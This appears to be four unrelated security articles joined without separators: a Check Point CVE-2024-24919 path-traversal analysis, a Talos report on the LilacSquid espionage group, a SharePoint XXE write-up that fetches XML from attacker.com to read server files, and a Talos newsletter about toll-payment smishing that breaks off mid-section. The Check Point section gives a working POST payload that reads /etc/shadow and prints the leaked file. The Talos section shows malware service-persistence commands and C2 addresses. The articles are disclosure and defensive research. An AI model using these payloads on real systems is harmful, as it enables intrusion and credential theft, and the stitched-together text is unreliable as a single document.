Gather round, gather round - it’s time for another blogpost tearing open an SSLVPN appliance and laying bare a recent in-the-wild exploited bug. This time, it is Check Point who is the focus of our penetrative gaze.

Check Point, for those unaware, is the vendor responsible for the 'CloudGuard Network Security' appliance, yet another device claiming to be secure and hardened. Their slogan - "you deserve the best security" - implies a level of security that can be relied upon on in their products.

We thought we'd take a look inside their appliance, and we recently got a great opportunity to do so, in the shape of CVE-2024-24919. This is a 'high' priority bug, which (according to the CVE itself) falls under the category of Exposure of Sensitive Information to an Unauthorized Actor. Check Point advise that the bug is under active exploitation, and give the following summary (among other advice):

The vulnerability potentially allows an attacker to read certain information on Gateways once connected to the Internet and enabled with Remote Access VPN or Mobile Access.

No bug class here, just a very vague and hand-wavey description. We wondered exactly what 'certain information' meant, in this context - does it mean we can read session tokens? Or the configuration of the device? Password hashes? (spoiler: it's actually much worse than this). There wasn't much information floating around the Internet about the bug, so we set out to find out just how bad it is, so that we could share details with device administrators who need to make that all-important patch-or-no-patch decision.

Patch-Diffing time

This bug seems like a prime candidate for patch-diffing, in which the vulnerable and the patched systems are compared to reveal details about the patch itself, and thus the bug.

As ever, the first hurdle in this is obtaining the patched version of the software. While the patches linked from the advisory are locked behind a login form, we found the appliance itself would fetch patches without any credentials, and so we duly installed the patch and cataloged the resultant files, in order to compare each and every file with its pre-patch brethren.

We didn’t need to go to such lengths, though, as examining the appliance filesystem, we soon found the .tgz file containing the update itself inside a temporary directory. Great! Popping it open, we found a load of boring installation scripts, and a promising-sounding file named sslvpn.full , an ELF binary. At least we don’t need to stare at brain-numbing PHP code this time - it’s a binary file so we get to look at lovely x86 disassembly instead. Yummy.

$ find -exec file {} \\;
...
./CheckPoint#fw1#All#6.0#5#1#HOTFIX_R80_40_JHF_T211_BLOCK_PORTAL_MAIN/fw1/bin/vpn.full: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.9, BuildID[sha1]=9484c3b95be69aa112042766793877d466fe9626, stripped
...

We duly threw the vulnerable and patched versions of the file into IDA, and used Diaphora to observe the differences. Right away, something stood out to us (vulnerable code is on the left, patched on the right):

Hurm, interesting - new code has been added, which is logging the string “Suspected path traversal attack from”. It seems a pretty safe bet that the bug is actually a path traversal.

Poking around in the code, we can see that a new logging function has been added, named send_path_traversal_alert_log , and if we look just a little bit deeper, we also find the new function sanitize_filename , which calls the new logging function. If we look at what references sanitize_filename itself, we are presented with a single caller - a large function that has the autogenerated name sub_80F09E0. If we search again for references to this large function, our persistence is rewarded, as we find it is passed to the function cpHttpSvc_register_query along with the HTTP path /clients/MyCRL, strongly implying it is the handler for this endpoint.

This is great - we’re only a few minutes into our analysis, and already we’ve discovered some vital clues! Firstly, we are pretty sure we’re looking for a path traversal bug, and secondly, we’ve got a strong suspicion that it affects the endpoint /clients/MyCRL.

A little investigation reveals that this endpoint is designed to serve static files from a location on the filesystem. The files can be specified via the URI itself, in the form of /clients/MyCRL/file_to_get, or via the POST body. We experimented with this somewhat, and found some interesting-but-useless weirdness in the server - adding certain control characters into the URL (such as /clients/MyCRL/test%0Atest) would hang the request, and the error handling that detected escaped NULL bytes seemed questionable, too, as parts of the request servicing code would be executed despite dire warnings generated in the log. Nothing we tried in the URL path generated anything that looked like a controlled file read, though.

Attempting to add path traversal elements such as .. in the URL bore no fruit, as the webserver would handle them correctly - but what about the POST body? That is exempt from the webserver's path handling code. We tried adding the usual ../../etc/passwd payload , but were soon met with disappointment, as all we received was a measly 404. The server logs showed that the appliance was indeed refusing to serve our path:

[vpnd 29382 4082644928]@i-022337f52dc65ca35[30 May  3:02:00][slim] http_get_CCC_callback: Invalid filename: /opt/CPsuite-R80.40/fw1//../../etc/passwd

No good! How do we work out what’s happening, and elevate ourselves beyond blind guesses? Why, by taking a look at that big sub_80F09E0 , of course!

Understanding the decompiled code

The large handler function may seem daunting, but it is actually pretty straightforward. Switching to the vulnerable version of the code, we can see from a quick skim that it performs file I/O, given away by the telltale references to _fopen and _fread - this is undoubtedly the place to find our bug. But what is it doing?

It is slightly difficult to see what the code is doing because of the unusual way that it references string resources, which IDA doesn’t pick up. Take a look at the following code snippet:

What’s happening here? Well, the code is comparing something (the URL the user requested) with a number of hardcoded strings, located in a string table. IDA doesn’t know where the string table is, but GDB can tell us at runtime - it turns out to be here:

Easy enough - the code is checking if the user is requesting any of the files in the list, and will only permit the download if it matches. But there’s a ‘bug’ in this code. Can you spot it?

That’s right! The bug isn’t anything complex or involved, it lies in the developer’s use of the strstr function. This function, as C gurus will know, doesn’t compare two strings outright, but searches one string for another string. This immediately got the gears turning in our head - can we abuse this sloppy matching to traverse, simply by requesting a relative path that includes one of the strings from the table? As long as one of the strings is present inside the path, the check will pass and the file will be served.

Well, it turns out we can’t. We can supply paths such as icsweb.cab/../../etc/passwd, but the OS isn’t dumb, and will fail to find the file, complaining that icsweb.cab is a file, and not a directory. We’re close, though - I can almost taste it! Let’s keep looking at that code.

Here’s a very similar chunk of code, found just underneath the first. Again, we’re iterating a string table, and comparing with the requested URL. Again, we pull out GDB, and take a look at the string table it is using:

Short but sweet. We got very excited when we saw this entry - can you see why?

Yes, exactly! Because of the slash at the end of the string. That suggests that this entry isn’t a file, but a directory, which would mean we can traverse into it and then back out via the venerable .. . As long as we have the string CSHELL/ somewhere in the requested file, the request will be accepted, right?

Well, we tried, and with bated breath submitted the following request:

POST /clients/MyCRL HTTP/1.1
Host: <redacted>
Content-Length: 39

aCSHELL/../../../../../../../etc/shadow

We were rewarded with the contents of requested file.

HTTP/1.0 200 OK
Date: Thu, 30 May 2024 01:38:29 GMT
Server: Check Point SVN foundation
Content-Type: text/html
X-UA-Compatible: IE=EmulateIE7
Connection: close
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Length: 505

admin:$6$rounds=10000$N2We3dls$xVq34E9omWI6CJfTXf.4tO51T8Y1zy2K9MzJ9zv.jOjD9wNxG7TBlQ65j992Ovs.jDo1V9zmPzbct5PiR5aJm0:19872:0:99999:8:::
monitor:*:19872:0:99999:8:::
root:*:19872:0:99999:7:::
nobody:*:19872:0:99999:7:::
postfix:*:19872:0:99999:7:::
rpm:!!:19872:0:99999:7:::
shutdown:*:19872:0:99999:7:::
pcap:!!:19872:0:99999:7:::
halt:*:19872:0:99999:7:::
cp_postgres:*:19872:0:99999:7:::
cpep_user:*:19872:0:99999:7:::
vcsa:!!:19872:0:99999:7:::
_nonlocl:*:19872:0:99999:7:::
sshd:*:19872:0:99999:7:::

There we go! A path traversal leading to an arbitrary file read! Since we are able to read such a critical file - the shadow password file - we must be running as the superuser, and able to read anything on the filesystem we choose.

Wait, what?!

At this point, we were somewhat confused. What we’d found is an arbitrary file read, allowing us to read any file on the system. This is much more powerful than the vendor advisory seems to imply.

We rushed to patch our box, and confirm that we had indeed found CVE-2024-24919, and not some other bug, and were mildly surprised that, yes, this is CVE-2024-24919, and yes, it is an arbitrary file read.

Interestingly, the vendor states that the issue only affects devices with username-and-password authentication enabled, and not with the (much stronger) certificate authentication enabled. Looking at the code, we can’t see any obvious reason for this, and we do wonder if a user who has a valid certificate can exploit the issue even when password authentication is disabled.

We were also somewhat amused by the vendor’s remediation advice, which includes this gem:

To prevent attempt to exploit this vulnerability, you must protect the vulnerable Remote Access gateway behind a Security Gateway with both IPS and SSL Inspection enabled.

Obvious grammar errors aside, the advice to place your hardened border gateway device behind another hardened border gateway device gave us a chuckle.

Conclusions

That bug wasn't too difficult to find, and was extremely easy to exploit once we’d located it (full exploitation is left as an exercise for the reader - we wouldn’t want to take all the fun out of the bug).

We’re a little concerned by the vendor’s statement, though - it seems to downplay the severity of this bug. Since the bug is already being used in the wild, by real attackers, it seems dangerous for the bug to be treated as anything less than a full unauthenticated RCE, with device administrators urged to update as soon as humanely possible. They state:

The vulnerability potentially allows an attacker to access information on Gateways connected to the Internet

This is quite a confusing statement, given that Internet connectivity is not a requirement. The words 'access information' are doing some seriously heavy lifting here, as while they may be technically correct, in the most pedantic sense of the word, they minimize what is, in all reality, a very serious bug which should be treated as 'world ending' (at least, by those administrators who do not have a second Check Point device protecting their actual Check Point device).

The vendor, Check Point, have released ‘hotfix’ for the bug, which administrators are instructed to apply if they are affected (refer to the vendor advisory for details).

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

It's our job to understand how emerging threats, vulnerabilities, and TTPs affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

By Anna Bennett, Nicole Hoffman, Asheer Malhotra, Sean Taylor and Brandon White. 

• Cisco Talos is disclosing a new suspected data theft campaign, active since at least 2021, we attribute to an advanced persistent threat actor (APT) we’re calling “LilacSquid.”  
• LilacSquid’s victimology includes a diverse set of victims consisting of information technology organizations building software for the research and industrial sectors in the United States, organizations in the energy sector in Europe and the pharmaceutical sector in Asia indicating that the threat actor (TA) may be agnostic of industry verticals and trying to steal data from a variety of sources.  
• This campaign uses MeshAgent, an open-source remote management tool, and a customized version of QuasarRAT we’re calling “PurpleInk” to serve as the primary implants after successfully compromising vulnerable application servers exposed to the internet.  
• This campaign leverages vulnerabilities in public-facing application servers and compromised remote desktop protocol (RDP) credentials to orchestrate the deployment of a variety of open-source tools, such as MeshAgent and SSF, alongside customized malware, such as "PurpleInk," and two malware loaders we are calling "InkBox" and "InkLoader.”  
• The campaign is geared toward establishing long-term access to compromised victim organizations to enable LilacSquid to siphon data of interest to attacker-controlled servers. 

LilacSquid – An espionage-motivated threat actor 

Talos assesses with high confidence that this campaign has been active since at least 2021 and the successful compromise and post-compromise activities are geared toward establishing long-term access for data theft by an advanced persistent threat (APT) actor we are tracking as "LilacSquid" and UAT-4820. Talos has observed at least three successful compromises spanning entities in Asia, Europe and the United States consisting of industry verticals such as pharmaceuticals, oil and gas, and technology. 

Previous intrusions into software manufacturers, such as the 3CX and X_Trader compromises by Lazarus, indicate that unauthorized long-term access to organizations that manufacture and distribute popular software for enterprise and industrial organizations can open avenues of supply chain compromise proving advantageous to threat actors such as LilacSquid, allowing them to widen their net of targets.  

We have observed two different types of initial access techniques deployed by LilacSquid, including exploiting vulnerabilities and the use of compromised remote desktop protocol (RDP) credentials. Post-exploitation activity in this campaign consists of the deployment of MeshAgent, an open-source remote management and desktop session application, and a heavily customized version of QuasarRAT that we track as “PurpleInk” allowing LilacSquid to gain complete control over the infected systems. Additional means of persistence used by LilacSquid include the use of open-source tools such as Secure Socket Funneling (SSF), which is a tool for proxying and tunneling multiple sockets through a single secure TLS tunnel to a remote computer. 

It is worth noting that multiple tactics, techniques, tools and procedures (TTPs) utilized in this campaign bear some overlap with North Korean APT groups, such as Andariel and its parent umbrella group, Lazarus. Public reporting has noted Andariel’s use of MeshAgent as a tool for maintaining post-compromise access after successful exploitation. Furthermore, Talos has observed Lazarus extensively use SOCKs proxy and tunneling tools, along with custom-made malware as part of their post-compromise playbooks to act as channels of secondary access and exfiltration. This tactic has also been seen in this campaign operated by LilacSquid where the threat actor deployed SSF along with other malware to create tunnels to their remote servers. 

LilacSquid’s infection chains 

There are primarily two types of infection chains that LilacSquid uses in this campaign. The first involves the successful exploitation of a vulnerable web application, while the other is the use of compromised RDP credentials. Successful compromise of a system leads to LilacSquid deploying multiple vehicles of access onto compromised hosts, including dual-use tools such as MeshAgent, Secure Socket Funneling (SSF), InkLoader and PurpleInk. 

Successful exploitation of the vulnerable application results in the attackers deploying a script that will set up working directories for the malware and then download and execute MeshAgent from a remote server. On execution, MeshAgent will connect to its C2, carry out preliminary reconnaissance and begin downloading and activating other implants on the system, such as SSF and PurpleInk. 

MeshAgent is typically downloaded by the attackers using the bitsadmin utility and then executed to establish contact with the C2: 

Instrumenting InkLoader – Modularizing the infection chain 

When compromised RDP credentials were used to gain access, the infection chain was altered slightly. LilacSquid chose to either deploy MeshAgent and subsequent implants, or introduce another component in the infection preceding PurpleInk.  

InkLoader is a simple, yet effective DOT NET-based malware loader. It is written to run a hardcoded executable or command. In this infection chain, InkLoader is the component that persists across reboots on the infected host instead of the actual malware it runs. So far, we have only seen PurpleInk being executed via InkLoader, but LilacSquid may likely use InkLoader to deploy additional malware implants. 

Talos observed LilacSquid deploy InkLoader in conjunction with PurpleInk only when they could successfully create and maintain remote sessions via remote desktop (RDP) by exploiting the use of stolen credentials to the target host. A successful login via RDP leads to the download of InkLoader and PurpleInk, copying these artifacts into desired directories on disk and the subsequent registration of InkLoader as a service that is then started to deploy InkLoader and, in turn, PurpleInk. The infection chain can be visualized as: 

Service creation and execution on the endpoint is typically done via the command line interface using the commands: 

sc create TransactExDetect displayname=Extended Transaction Detection binPath= _filepath_of_InkLoader_ start= auto 
sc description TransactExDetect Extended Transaction Detection for Active Directory domain hosts 
sc start TransactExDetect 

PurpleInk – LilacSquid's bespoke implant 

PurpleInk, LilacSquid’s primary implant of choice, has been adapted from QuasarRAT, a popular remote access trojan family. Although QuasarRAT has been available to threat actors since at least 2014, we observed PurpleInk being actively developed starting in 2021 and continuing to evolve its functionalities separate from its parent malware family.  

PurpleInk uses an accompanying configuration file to obtain information such as the C2 server’s address and port. This file is typically base64-decoded and decrypted to obtain the configuration strings required by PurpleInk. 

PurpleInk is a highly versatile implant that is heavily obfuscated and contains a variety of RAT capabilities. Talos has observed multiple variants of PurpleInk where functionalities have both been introduced and removed. 

In terms of RAT capabilities, PurpleInk can perform the following actions on the infected host: 

• Enumerate the process and send the process ID, name and associated Window Title to the C2. 
• Terminate a process ID (PID) specified by the C2 on the infected host. 
• Run a new application on the host – start process. 
• Get drive information for the infected host, such as volume labels, root directory names, drive type and drive format. 
• Enumerate a given directory to obtain underlying directory names, file names and file sizes. 
• Read a file specified by the C2 and exfiltrate its contents. 
• Replace or append content to a specified file. 

• Gather system information about the infected host using WMI queries. Information includes:  

• Start a remote shell on the infected host using ‘ cmd[.]exe /K ’. 
• Rename or move directories and files and then enumerate them. 
• Delete files and directories specified by the C2. 
• Connect to a specified remote address, specified by the C2. This remote address referenced as “Friend” internally is the reverse proxy host indicating that PurpleInk can act as an intermediate proxy tool. 

PurpleInk has the following capabilities related to communicating with its “friends” (proxy servers): 

• Connect to a new friend whose remote address is specified by the C2. 
• Send data to a new or existing friend. 
• Disconnect from a specified friend. 
• Receive data from another connected friend and process it. 

Another PurpleInk variant, built and deployed in 2023 and 2024, consists of limited functionalities, with much of its capabilities stripped out. The capabilities that still reside in this variant are the abilities to: 

• Close all connections to proxy servers. 
• Create a reverse shell.  
• Connect and send/receive data from connected proxies. 

Functionalities, such as file management, execution and gathering system information, have been stripped out of this variant of PurpleInk, but can be supplemented by the reverse shell carried over from previous variants, which can be used to carry out these tasks on the infected endpoint. Adversaries frequently strip, add and stitch together functionalities to reduce their implant’s footprint on the infected system to avoid detection or to improve their implementations to remove redundant capabilities.  

InkBox – Custom loader observed in older attacks 

InkBox is a malware loader that will read from a hardcoded file path on disk and decrypt its contents. The decrypted content is another executable assembly that is then run by invoking its Entry Point within the InkBox process. This second assembly is the backdoor PurpleInk. The overall infection chain in this case is: 

The usage of InkBox to deploy PurpleInk is an older technique used by LilacSquid since 2021. Since 2023, the threat actor has produced another variant of the infection chain where they have modularized the infection chain so that PurpleInk can now run as a separate process. However, even in this new infection chain, PurpleInk is still run via another component that we call "InkLoader.”  

LilacSquid employs MeshAgent 

In this campaign, LilacSquid has extensively used MeshAgent as the first stage of their post-compromise activity. MeshAgent is the agent/client from the MeshCentral, an open-source remote device management software. The MeshAgent binaries typically use a configuration file, known as an MSH file. The MSH files in this campaign contain information such as MeshName (victim identifier in this case) and C2 addresses: 

MeshName=-Name_of_mesh- 
MeshType=-Type_of_mesh- 
MeshID=0x-Mesh_ID_hex- 
ServerID=-Server_ID_hex- 
MeshServer=wss://-Mesh_C2_Address-
Translation=-keywords_translation_JSON-

Being a remote device management utility, MeshAgent allows an operator to control almost all aspects of the device via the MeshCentral server, providing capabilities such as: 

• List all devices in the Mesh (list of victims). 
• View and control desktop. 
• Manage files on the system. 
• View software and hardware information about the device.  

Post-exploitation, MeshAgent activates other dual-use and malicious tools on the infected systems, such as SSF and PurpleInk.  

Coverage 

Ways our customers can detect and block this threat are listed below. 

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.   

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.  

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.  

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.  

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.  

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.  

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.  

Additional protection with context to your specific environment and threat data are available from the Firewall Management Center.  

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. 

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.  

IOCs

IOCs for this research can also be found at our GitHub repository here. 

PurpleInk 

2eb9c6722139e821c2fe8314b356880be70f3d19d8d2ba530adc9f466ffc67d8 

Network IOCs 

67[.]213[.]221[.]6 

192[.]145[.]127[.]190 

45[.]9[.]251[.]14 

199[.]229[.]250[.]142 

Yes, the title is right. This blog covers an XML eXternal Entity (XXE) injection vulnerability that I found in SharePoint. The bug was recently patched by Microsoft. In general, XXE vulnerabilities are not very exciting in terms of discovery and related technical aspects. They may sometimes be fun to exploit and exfiltrate data (or do other nasty things) in real environments, but in the vulnerability research world, you typically find them, report them, and forget about them.

So why am I writing a blog post about an XXE? I have two reasons:

·       It affects SharePoint, both on-prem and cloud instances, which is a nice target. This vulnerability can be exploited by a low-privileged user.
·       This is one of the craziest XXEs that I have ever seen (and found), both in terms of vulnerability discovery and the method of triggering. When we talk about overall exploitation and impact, this Pwn2Own win by Chris Anastasio and Steven Seeley is still my favorite.

The vulnerability is known as CVE-2024-30043, and, as one would expect with an XXE, it allows you to:

·       Read files with SharePoint Farm Service account permission.
·       Perform Server-side request forgery (SSRF) attacks.
·       Perform NTLM Relaying.
·       Achieve any other side effects to which XXE may lead.

Let us go straight to the details.

BaseXmlDataSource DataSource

Microsoft.SharePoint.WebControls.BaseXmlDataSource is an abstract base class, inheriting from DataSource, for data source objects that can be added to a SharePoint Page. DataSource can be included in a SharePoint page, in order to retrieve data (in a way specific to a particular DataSource). When a BaseXmlDataSource is present on a page, its Execute method will be called at some point during page rendering:

At [1], you can see the Execute method, which accepts a string called request. We fully control this string, and it should be a URL (or a path) pointing to an XML file. Later, I will refer to this string as DataFile.

At this point, we can derive this method into two main parts: XML fetching and XML parsing.

       a) XML Fetching

At [2], this.FetchData is called and our URL is passed as an input argument. BaseXmlDataSource does not implement this method (it’s an abstract class).

FetchData is implemented in three classes that extend our abstract class:
• SoapDataSource - performs HTTP SOAP request and retrieves a response (XML).
• XmlUrlDataSource - performs a customizable HTTP request and retrieves a response (XML).
• SPXmlDataSource - retrieves an existing specified file on the SharePoint site.

We will revisit those classes later.

       b) XML Parsing

At [3], the xmlReaderSettings.DtdProcessing member is set to DtdProcessing.Prohibit, which should disable the processing of DTDs.

At [4] and [5], the xmlTextReader.XmlResolver is set to a freshly created XmlSecureResolver. The request string, which we fully control, is passed as the securityUrl parameter when creating the XmlSecureResolver

At [6], the code creates a new instance of XmlReader.

Finally, it reads the contents of the XML using a while-do loop at [7].

At first glance, this parsing routine seems correct. The document type definition (DTD) processing of our XmlReaderSettings instance is set to Prohibit, which should block all DTD processing. On the other hand, we have the XmlResolver set to XmlSecureResolver.

From my experience, it is very rare to see .NET code, where:
• DTDs are blocked through XmlReaderSettings.
• Some XmlResolver is still defined.

I decided to play around and sent in a general entity-based payload at some test code I wrote similar to the code shown above (I only replaced XmlSecureResolver with XmlUrlResolver for testing purposes):

As expected, no HTTP request was performed, and a DTD processing exception was thrown. What about this payload?

It was a massive surprise to me, but the HTTP request was performed! According to that, it seems that when you have .NET code where:
• XmlReader is used with XmlTextReader and XmlReaderSettings.
• XmlReaderSettings.DtdProcessing is set to Prohibit.
• An XmlTextReader.XmlResolver is set.

The resolver will first try to handle the parameter entities, and only afterwards will perform the DTD prohibition check! An exception will be thrown in the end, but it still allows you to exploit the Out-of-Band XXE and potentially exfiltrate data (using, for example, an HTTP channel).

The XXE is there, but we have to solve two mysteries:

• How can we properly fetch the XML payload in SharePoint?
• What’s the deal with this XmlSecureResolver?

XML Fetching and XmlSecureResolver

As I have already mentioned, there are 3 classes that extend our vulnerable BaseXmlDataSource. Their FetchData method is used to retrieve the XML content based on our URL. Then, this XML will be parsed with the vulnerable XML parsing code.

Let’s summarize those 3 classes:

       a) XmlUrlDataSource

       • Accepts URLs with a protocol set to either http or https.
       • Performs an HTTP request to fetch the XML content. This request is customizable. For example, we can select which HTTP method we want to use.
       • Some SSRF protections are implemented. This class won’t allow you to make HTTP requests to local addresses such as 127.0.0.1 or 192.168.1.10. Still, you can use it freely to reach external IP address space.

       b) SoapDataSource

       • Almost identical to the first one, although it allows you to perform SOAP requests only (body must contain valid XML, plus additional restrictions).
       • The same SSRF protections exist as in XmlUrlDataSource.

       c) SPXmlDataSource

       • Allows retrieval of the contents of SharePoint pages or documents. If you have a file test.xml uploaded to the sample site, you can provide a URL as follows: /sites/sample/test.xml.

At this point, those HTTP-based classes look like a great match. We can:
• Create an HTTP server.
• Fetch malicious XML from our server.
• Trigger XXE and potentially read files from SharePoint server.

Let’s test this. I’m creating an XmlUrlDataSource, and I want it to fetch the XML from this URL:

       http://attacker.com/poc.xml

poc.xml contains the following payload:

The plan is simple. I want to test the XXE by executing an HTTP request to the localhost (SSRF).

We must also remember that whatever URL that we specify as our source also becomes the securityUrl of the XmlSecureResolver. Accordingly, this is what will be executed:

Who cares anyway? YOLO and let’s move along with the exploitation. Unfortunately, this is the exception that appears when we try to execute this attack:

It seems that “Secure” in XmlSecureResolver stands for something. In general, it is a wrapper around various resolvers, which allows you to apply some resource fetching restrictions. Here is a fragment of the Microsoft documentation:

“Helps to secure another implementation of XmlResolver by wrapping the XmlResolver object and restricting the resources that the underlying XmlResolver has access to.”

In general, it is based on Microsoft Code Access Security. Depending on the provided URL, it creates some resource access rules. Let’s see a simplified example for the http://attacker.com/test.xml:

In short, it creates restrictions based on protocol, hostname, and a couple of different things (like an optional port, which is not applicable to all protocols). If we fetch our XML from http://attacker.com, we won’t be able to make a request to http://localhost because the host does not match.

The same goes for the protocol. If we fetch XML from the attacker’s HTTP server, we won’t be able to access local files with XXE, because neither the protocol (http:// versus file://) nor the host match as required.

To summarize, this XXE is useless so far. Even though we can technically trigger the XXE, it only allows us to reach our own server, which we can also achieve with the intended functionalities of our SharePoint sources (such as XmlDataSource). We need to figure out something else.

SPXmlDataSource and URL Parsing Issues

At this point, I was not able to abuse the HTTP-based sources. I tried to use SPXmlDataSource with the following request:

       /sites/mysite/test.xml

The idea is simple. We are a SharePoint user, and we can upload files to some sites. We upload our malicious XML to the http://sharepoint/sites/mysite/test.xml document and then we:
       • Create SPXmlDataSource
       • Set DataFile to /sites/mysite/test.xml.

SPXmlDataSource will successfully retrieve our XML. What about XmlSecureResolver? Unfortunately, such a path (without a protocol) will lead to a very restrictive policy, which does not allow us to leverage this XXE.

It made me wonder about the URL parsing. I knew that I could not abuse HTTP-based XmlDataSource and SoapDataSource. The code was written in C# and it was pretty straightforward to read – URL parsing looked good there. On the other hand, the URL parsing of SPXmlDataSource is performed by some unmanaged code, which cannot be easily decompiled and read.

I started thinking about a following potential exploitation scenario:
       • Delivering a “malformed” URL.
       • SPXmlDataSource somehow manages to handle this URL, and retrieves my uploaded XML successfully.
       • The URL gives me an unrestricted XmlSecureResolver policy and I’m able to fully exploit XXE.

This idea seemed good, and I decided to investigate the possibilities. First, we have to figure out when XmlSecureResolver gives us a nice policy, which allows us to:
       • Access a local file system (to read file contents).
       • Perform HTTP communication to any server (to exfiltrate data).

Let’s deliver the following URL to XmlSecureResolver:

       file://localhost/c$/whatever

Bingo! XmlSecureResolver creates a policy with no restrictions! It thinks that we are loading the XML from the local file system, which means that we probably already have full access, and we can do anything we want.

Such a URL is not something that we should be able to deliver to SPXmlDataSource or any other data source that we have available. None of them is based on the local file system, and even if they were, we are not able to upload files there.

Still, we don’t know how SPXmlDataSource is handling URLs. Maybe my dream attack scenario with a malformed URL is possible? Before even trying to reverse the appropriate function, I started playing around with this SharePoint data source, and surprisingly, I found a solution quickly:

       file://localhost\c$/sites/mysite/test.xml

Let’s see how SPXmlDataSource handles it (based on my observations):

This is awesome. Such a URL allows us to retrieve the XML that we can freely upload to SharePoint. On the other hand, it gives us an unrestricted access policy in XmlSecureResolver! This URL parsing confusion between those two components gives us the possibility to fully exploit the XXE and perform a file read.

The entire attack scenario looks like this:

Demo

Let’s have a look at the demo, to visualize things better. It presents the full exploitation process, together with the debugger attached. You can see that:
       • SPXmlDataSource fetches the malicious XML file, even though the URL is malformed.
       • XmlSecureResolver creates an unrestricted access policy.
       • XXE is exploited and we retrieve the win.ini file.
       • “DTD prohibited” exception is eventually thrown, but we were still able to abuse the OOB XXE.

The Patch

The patch from Microsoft implemented two main changes:
       • More URL parsing controls for SPXmlDataSource.
       • XmlTextReader object also prohibits DTD usage (previously, only XmlReaderSettings did that).

In general, I find .NET XXE-protection settings way trickier than the ones that you can define in various Java parsers. This is because you can apply them to objects of different types (here: XmlReaderSettings versus XmlTextReader). When XmlTextReader prohibits the DTD usage, parameter entities seem to never be resolved, even with the resolver specified (that’s how this patch works). On the other hand, when XmlReaderSettings prohibits DTDs, parameter entities are resolved when the XmlUrlResolver is used. You can easily get confused here.

Summary

A lot of us thought that XXE vulnerabilities were almost dead in .NET. Still, it seems that you may sometimes spot some tricky implementations and corner cases that may turn out to be vulnerable. A careful review of .NET XXE-related settings is not an easy task (they are tricky) but may eventually be worth a shot.

I hope you liked this writeup. I have a huge line of upcoming blog posts, but vulnerabilities are waiting for the patches (including one more SharePoint vulnerability). Until my next post, you can follow me @chudypb and follow the team on Twitter, Mastodon, LinkedIn, or Instagram for the latest in exploit techniques and security patches.

My wife (no stranger to weird types of scams) recently received a fake text message from someone claiming to be New Jersey’s E-ZPass program saying that she had an outstanding balance from highway tolls that she owed, prompting her to visit a site so she could pay and avoid additional fines. 

There was plenty of reason to believe this was a legitimate ask. Her family is from New Jersey, so we make frequent trips there, paying $20-plus in tolls along the way. We had also just completed a trip from there a few weeks prior (though I’m not sure if this was a coincidence to the timing of the spam text or not), and we both have E-ZPass accounts. 

For the uninitiated, or anyone who lives in a country where taxes are paid as normal and therefore pay for appropriate road repairs, E-ZPass is a small device drivers in more than a dozen countries in the U.S. can register for so they can automatically pay tolls along highways rather than having to stop and use cash or coins, or spending a few extra minutes manually processing a transaction.  

Each state or city has its own agencies that deal with E-ZPass, each with its own payment processing system and website. For this case with New Jersey, the phishing site the scammers set up was shockingly convincing and looked remarkably similar to the legitimate New Jersey E-ZPass website.  

Once we logged into our legitimate E-ZPass account to check to make sure we had, in fact, paid all the appropriate tolls, I alerted my team about this scam, and we appropriately blocked the phishing URL in question in Cisco Secure products.  

Since this victory and foray into threat hunting, I have learned that this is a problem everywhere, not just for New Jersey drivers. 

Since this experience, E-ZPass has sent out an alert in all the states they operate in warning about these types of scams. Drivers from New York to Georgia and Pennsylvania have received these types of texts with equally convincing phishing text messages and lure pages.  

It’s unclear what the adversaries’ goals are in this case, but it’s probably safe to assume they’re looking to collect users’ credit card information after they go in to pay the alleged overdue toll. They could also be collecting E-ZPass login information to collect further data about the drivers. 

In April, the FBI also warned of SMS phishing scams, in which adversaries pretended to be toll collection services from three different U.S. states. SunPass, the equivalent to E-ZPass in Florida, also alerted about similar scams around the same time as these E-ZPass scams started being reported. And in March, the FasTrak service in California warned of the same problems.  

My hunch is that these types of services are being impersonated all over the U.S. for several reasons — thousands of drivers use these services (especially in states with a high commuter population), which makes it likely that whoever receives the text will be familiar with these devices and will have recently driven on a highway that makes drivers pay tolls. The amounts they’re asking for are also small, no more than $5 USD, so it doesn’t set off any immediate alarm bells, unlike similar scams that ask for hundreds of dollars for health care services. The requests coming through as SMS messages also make the targets more likely to open them on their mobile devices, which may not have the same security in place as a laptop or managed company device. 

No individual state or local agency is immune from this style of scam, so if you’re ever in doubt of receiving a text like this, it’s best to call your area government program in question and ask them about any suspicious activity before clicking on any links or submitting payment information. 

The one big thing 

Cisco Talos’ Vulnerability Research team has helped to disclose and patch more than 20 vulnerabilities over the past three weeks, including two in the popular Adobe Acrobat Reader software. Acrobat, one of the most popular PDF readers currently available, contains two out-of-bounds read vulnerabilities that could lead to the exposure of sensitive contents of arbitrary memory in the application. There are also eight vulnerabilities in a popular line of PLC CPU modules commonly used in automated environments. We have more detailed information in our full Vulnerability Roundup from this week. 

Why do I care? 

